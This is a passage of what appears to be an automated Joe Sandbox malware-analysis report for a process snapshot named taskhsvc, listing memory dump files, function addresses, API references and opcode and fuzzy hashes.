                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$free
                                        • String ID:
                                        • API String ID: 2817809126-0
                                        • Opcode ID: b8e9f71657790f8711ed0f6a5e92303a6ce0ca1283ef6dc90fdab89dabcd8ddf
                                        • Instruction ID: 1610c11ceebe2c7d499f7e2faf14ad12fcbbcd7747a71dd1240698767fcfbbc2
                                        • Opcode Fuzzy Hash: b8e9f71657790f8711ed0f6a5e92303a6ce0ca1283ef6dc90fdab89dabcd8ddf
                                        • Instruction Fuzzy Hash: DDE0E6346002495BCF20FB7A895795D77E8AB01314F425469B650DB242F630FA515A65
                                        Function 00BDB024 Relevance: 1.5, APIs: 1, Instructions: 21COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BDB059
                                          • Part of subcall function 00BDAF93: free.MSVCRT ref: 00BDAFCA
                                          • Part of subcall function 00BDAF93: __stack_chk_fail.LIBSSP-0 ref: 00BDAFE2
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$free
                                        • String ID:
                                        • API String ID: 2817809126-0
                                        • Opcode ID: 7fe0077d63c8be20b49f54102c9ca32517aed0edb784c2a4d0349eca2d6c4148
                                        • Instruction ID: c92e14dbb6d92d8c36bbe0a21a26efa7d42739dfba972b5aa477989e71ad836b
                                        • Opcode Fuzzy Hash: 7fe0077d63c8be20b49f54102c9ca32517aed0edb784c2a4d0349eca2d6c4148
                                        • Instruction Fuzzy Hash: 4BE09274D00109DBCF04EF79C55595EFBF0EB05304F4284569560E7340E378A951CF95
                                        Function 00BDEA55 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00BDCFB4: __stack_chk_fail.LIBSSP-0 ref: 00BDCFE5
                                          • Part of subcall function 00C73787: abort.MSVCRT ref: 00C737EC
                                          • Part of subcall function 00C73787: abort.MSVCRT ref: 00C7382B
                                          • Part of subcall function 00C73787: abort.MSVCRT ref: 00C7387B
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BDEAB7
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: abort$__stack_chk_fail
                                        • String ID:
                                        • API String ID: 2908038143-0
                                        • Opcode ID: 1f464251ab5a9d90e6d653052c5d747769b9baaa9fd7b39417f8578561fa1d7d
                                        • Instruction ID: 0aa94c369452f7d9f7c63d8eb6be867e7a3ed0f061de62f17fb792475352782a
                                        • Opcode Fuzzy Hash: 1f464251ab5a9d90e6d653052c5d747769b9baaa9fd7b39417f8578561fa1d7d
                                        • Instruction Fuzzy Hash: D1E0ECB5A042058BCB00FBA8D1815ADFBF0EB88310F12846BE558DB300E635D840DB65
                                        Function 00BD31F3 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00BD3C77: __stack_chk_fail.LIBSSP-0 ref: 00BD4111
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BD32C5
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID:
                                        • API String ID: 4216919130-0
                                        • Opcode ID: c6aae4ea3e2efe46d64afe8f4bb52019351b453b3441a46d726d4989b01ac47a
                                        • Instruction ID: def8b5d8401aa10dc913e3fc90f1960c62df39f349a182d0ab255d08d9f85be2
                                        • Opcode Fuzzy Hash: c6aae4ea3e2efe46d64afe8f4bb52019351b453b3441a46d726d4989b01ac47a
                                        • Instruction Fuzzy Hash: 92E092F4A096188FCB00EF69DC81A5AFBF0FB48704F05855BE454E7325E234E9099F16
                                        Function 00BC65EF Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00BC63F3: __stack_chk_fail.LIBSSP-0 ref: 00BC65E4
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BC6622
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
